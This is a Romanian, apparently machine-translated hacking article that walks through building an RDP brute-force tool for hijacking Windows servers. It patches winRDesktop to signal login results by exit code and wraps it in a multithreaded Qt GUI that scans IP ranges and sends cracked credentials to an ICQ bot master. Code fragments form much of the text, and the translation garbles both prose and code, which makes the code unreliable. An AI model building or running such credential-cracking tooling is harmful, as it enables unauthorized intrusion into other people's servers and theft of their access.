În zilele noastre, doar leneșii nu au încercat să cenzureze pe dediks - bine, există foarte multe cărți pentru acest caz. Cel mai faimos tss-brute de la metal și brutfors bazate pe ActiveX, începutul evoluției pe care l-am pus cu Dizz anul trecut. Toate celelalte brutefores se bazează pe aceste două - fiind partea frontală tss-brute (RDP Brute by Dizz) sau clonele R # 038; D P Brute. În acest an am găsit o nouă modalitate de deturnare a serverelor pe Windows. Vrei să știi cum - citiți mai departe!
Soluții existente
Se pare că totul este bun - o mulțime de brutfori, alegeți - nu vreau, dar nu sunt lipsiți de defecte.
debriefing
com pe portul winRDesktop - rdesktop pe Windows, ca proiect pentru MS Visual Studio. Asta a fost exact ceea ce aveam nevoie și am început să transform un soft inofensiv într-o forță bruta ucigașă. Mai întâi trebuie să decidem cum va arăta programul nostru. Având în vedere o mulțime de opțiuni, am decis un lucru: bruteforce constă din două părți:
- Modificat winrdesktop, la care se transferă datele de conectare, parola și adresa IP a serverului. El încearcă să se conecteze și returnează rezultatul.
- GUI este capătul frontal care gestionează toate aceste lucruri: introduce multithreading, vă permite să scana intervale IP, oferă funcționarea unui bot ICQ. GUI-ul va fi scris în C ++ cu cadrul Qt.
Probabil ați avut o întrebare despre bot - și cum îl vom implementa, dacă componentele reale de lucru pentru ICQ sunt doar sub Delphi / BCB? Voi deschide un mic secret - există un QOSCAR de clasă Qt pentru a lucra cu ICQ (scris de altfel de mine) și este situat pe qoscar.googlecode.com. Acest articol nu ia în considerare scrierea unui bot, totul este extrem de simplu acolo și tu (sper) reușesc să mă ocup eu de această problemă. Toate, digresiunea lirică deoparte, începem să codificăm!
Dezvoltatori, dezvoltatori, dezvoltatori!
Cum funcționează recunoașterea? Este foarte simplu - pachetul care a venit la client este octet-octet comparativ cu unele semnături și, pe baza acestor semnături, se face o concluzie privind succesul / eșecul la selectarea unei parole. De exemplu, #define LOGON_AUTH_FAILED "\ xfe \ x00 \ x00" indică faptul că parola a fost introdusă incorect. Restul constantelor puteți vedea în codul de pe disc. Valoarea constantelor trebuie să fie clară din denumire.
Dacă nu, atunci de ce citiți asta? 🙂
Apoi, am patch-uri procedure_text2 () din fișierul orders.c. În acesta, apare recunoașterea rezultatului introducerii parolei. Deși, de fapt, nu numai în el - de multe ori cu conectare reușită serverul trimite un pachet cu un mesaj despre acesta - PDU_LOGON.
Bucată process_text2 ()
dacă (! memcmp (os-> text, LOGON_AUTH_FAILED, 3))
ExitProcess (2);
if ((! memcmp (OS-> text, LOGON_MESSAGE_FAILED_XP, 18)) || (! memcmp (OS-> text, LOGON_MESSAGE_FAILED_2K3, 18)))
ExitProcess (3);
Acest cod trebuie introdus chiar la începutul procedurii. Îți voi explica efectul.
rrocess_text2 () procesează pachetul în care textul provine de la server (ceea ce este evident din numele său), în care comparăm textul primit cu câteva secvențe cunoscute anterior cu logon'e. Ultimul pas este să deschideți rdp.c și să căutați procedura process_ data_pdu (). În acesta, suntem interesați de o bucată de cod care începe cu "cazul RDP_DATA_PDU_LOGON:". Pur și simplu introduceți ExitProcess (4) după el. De ce avem nevoie de ExitProcess () - citiți mai departe.
Deci, odată cu ajustarea lui winRdesktop'a, ne-am dat seama. Dacă credeți că cel mai dificil lucru este în urmă - vă înșelați profund. Cel mai dificil este încă să vină.
Prima problemă cu care am avut de înfruntat este aspectul ferestrei aplicației la pornire. Nu avem nevoie de ea, deci facem cu curaj ShowWindow cu parametrul SW_HIDE.
A doua problemă este cum comunică forța bruta cu lumea exterioară, cum ne va informa despre rezultatul auditului? Printf () și alții nu funcționează, fișierul este scris - nu este bine. Metoda cea mai simplă și în același timp fiabilă este de a termina aplicația cu diferite ExitCodes.
De exemplu, ExitProcess (4) va fi apelat cu parola corectă, ExitProcess (2) pentru incorect și ExitProcess (3) pentru o încercare de conexiune nereușită. Said - done (puteți vedea rezultatul în process_text2 () pe bara laterală). A treia problemă, nu am reușit să o rezolv - consum non-standard de resurse. Privind în perspectivă, voi spune că 30 fire introduc 100% din procesorul meu MSI Wind u90. Este conectat la despachetarea bitmap-urilor (serverul RDP comprimă puternic imaginile). Am eliminat toate (după părerea mea) coduri inutile de cod, despachetate și desenate de pe formular (de ce să tragem formularul, dacă nu îl vedem?), Ceea ce ne-a permis să reducem puțin consumul de resurse, dar problema încă nu a rezolvat-o. Dacă sunteți un coder răcoros pe C și reușiți să reduceți aperitivul despachetorului, nu uitați să-mi spuneți despre el :).
A patra și ultima problemă este absența altor simboluri decât alfabetul și numerele în limba engleză. Nu puteam învăța bruteforce să înțeleagă alfabetul chirilic, deși poate că e pentru totdeauna - nu trebuie să distrugi serverele ruse :).
Brutu - gui!
În principiu, bruteforce este deja gata, dar este un singur filet - la fel ca și brute din metal'a. Desigur, puteți scrie fișiere batch pentru a lansa brute, dar suntem hackeri grei, vrem să bruteze zeci de duzină pe zi și, prin urmare, avem doar o singură cale - scrierea frontului.
Ca instrument, am ales ... nu, nu acum C # la modă, și preferatul meu (și mult mai promițătoare, în opinia mea) Qt cadru. În] a scris deja despre el de multe ori, deci nu văd nici un punct în descrierea tuturor meritelor sale. Mai mult, vreau să spun că deja știți cum să lucrați cu acest cadru. Dacă nu - vă sfătuim să citiți documentația oficială Qt pe qt.nokia.com și obligatoriu - cartea Summerfield și Blanchett (muncitori Qt Software, unul doar se ocupă cu documentația, astfel încât cartea este superba).
Lansăm Qt Creator (vă sfătuiesc să utilizați instantanee - acestea nu mai sunt buggy decât versiuni stabile, dar mai convenabile și conțin toate inovațiile viitoare). Deci, creați un nou proiect GUI cu un widget. Design - o chestiune personală a tuturor, în screenshot puteți vedea ceva. care sa dovedit a fi pentru mine.
Pentru început, vom sublinia un plan mic.
1. Firul principal declanșează un fir auxiliar.
2. Firul auxiliar pornește exe-shnik-ul, pe care l-am scris mai devreme, și așteaptă rezultatul.
3. Când se termină execuția forței brute, firul emite un semnal care este procesat de firul principal, ia următorul login și parolă și trece la pasul 2.
Pentru firele auxiliare, am scris clasa BruteThread, care, de fapt, nu este un fir, deoarece nu moșteneste din QThread, ci folosește numai metode asincrone pentru a efectua acțiuni care durează mult timp. BruteThread lansează versiunea winRDesktop modificată utilizând obiectul proces al clasei QProcess. Clasa QProcess este concepută pentru a rula aplicații externe și poate rula aplicația, direcționând ieșirea către consola (ceea ce se transmite prin printf sau cout, de exemplu), urmări schimbarea de stare și termină procesul. Suntem interesați doar de pornirea și terminarea aplicației - dacă apare unul dintre aceste evenimente, semnalele void start () și void finisate (int exitCode) sunt emise, respectiv. Fiți atenți la ultimul semnal - în el codul cu care a fost finalizată aplicația este trecut ca parametru - și acest parametru va fi foarte util pentru noi.
Vom procesa numai al doilea semnal și puteți vedea codul slotului pe bara laterală "Semnal onFinished ()".
În acesta, fluxul emite semnalele corespunzătoare și trece la următoarea combinație de conectare, parola. Începerea procesului arată astfel:
Rularea procesului brut
QStringList slArgs;
slArgs <<"-u" <
iCurrentPassword ++;
După cum puteți vedea, argumentele pentru proces sunt transmise la QStringList, care este foarte convenabil :).
Și, bineînțeles, nu uitați să conectați imediat semnalul la slotul designerului de clasă:
QObject :: conectați (proces, SEMNAL (terminat (int)),
acest lucru, SLOT (onFinished (int)));
Aici este slotul principal care procesează rezultatele:
Procesăm rezultatele în fluxul principal
dacă (iResult == 0)
iGood ++;
iChecked ++;
writeResult (QString ("% 1:% 2;% 3") arg (sServer
) .arg (sUser) .arg (sPassword), "good.txt");
oscar.sendMessage (setări.botMaster (),
QString ("% 1:% 2;% 3") Arg (sServer) .arg (sUser)
.arg (sPassword));
dacă (trayIcon.isVisible ())
trayIcon.showMessage ("Bine",
QString ("% 1:% 2;% 3") Arg (sServer) .arg (
sUser) .arg (sPassword);
>
altfel
dacă (iResult == -1)
iBad ++;
iChecked ++;
>
Asta e tot! Ceilalți trebuie să vă terminați și, dacă nu puteți, să vă uitați cu îndrăzneală la codul sursă pe disc. Doar nu speranța că vă puteți deschide proiectul, schimba numele butoanelor și să câștige un ciocan, de vânzare nouă brut - ea are câteva trucuri de bază, și, dacă sunteți script kiddies, proiectul este compilat nu reușiți. Ei bine, dacă știți cum să vă bazăți munca cu C, atunci cred că nu vă va da nici o problemă :).
Prin această decizie, am venit la un recompilarea în masă a mea R # 038; DP Brute, după punerea unele din codul sursă, shkolotoy (a nu se confunda cu elevii!), Care la cea mai mică problemele de comiterea de acte sexuale cu creierul meu ( „Și eu nu am acea versiune mstscax .dll, ce ar trebui să fac? "," Ce înseamnă ShowMessage ()? "). Unul dintre indivizi, de altfel, el a admis că brain.dll hands.lib și el nu are (mulțumiri pentru log sslBot, nechezatul din inimă). Da, am fost distrasi.
În total, am lăsat două probleme nerezolvate, eliminarea cărora vă instruiesc:
- Consumul de resurse.
- Sprijin pentru chirilic (interes pur sportiv, repet din nou - nu briteți servere rusești).
În acest sens, permiteți-mi să plec. Codificare reușită!
Semnalul OnFinished ()
dacă (exitCode> 666)
emit peServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1);
Exitcode);
emit onDoneServer (acest lucru);
return;
>
comutator (exitCode)
cazul 666: // Eroare
emit onDoneServer (acest lucru);
return;
cazul 0: // FIG știe
emit peServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1);
true);
dacă (bSkipZero)
emit onDoneServer (acest lucru);
return;
>
pauză;
cazul 4: // Bine!
emit peServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1);
0);
emit onDoneServer (acest lucru);
return;
cazul 5: // Foarte bine
emit peServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1);
0);
emit onDoneServer (acest lucru);
return;
implicit: // Bad
emit peServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1);
-1);
pauză;
>
nextPassword ();
mulțumesc
Aș dori să le mulțumesc următorilor oameni pentru ajutorul lor în scrisul brutului:
- metal aka DeX - pentru ajutor cu C / C ++, și într-adevăr o persoană grozavă, întotdeauna a ajutat!
- .fry - Pentru ajutor cu protocolul OSCAR,
- Memberov forum.asechka.ru - pentru testare și suport.
- xo0x.art, vitalikis,
- Maxim Sundagy Blinenkov - pentru C / C ++,
- Varvara "Miracle" Yachmenev - pentru sprijin moral :),
- Și, desigur, părinții mei :).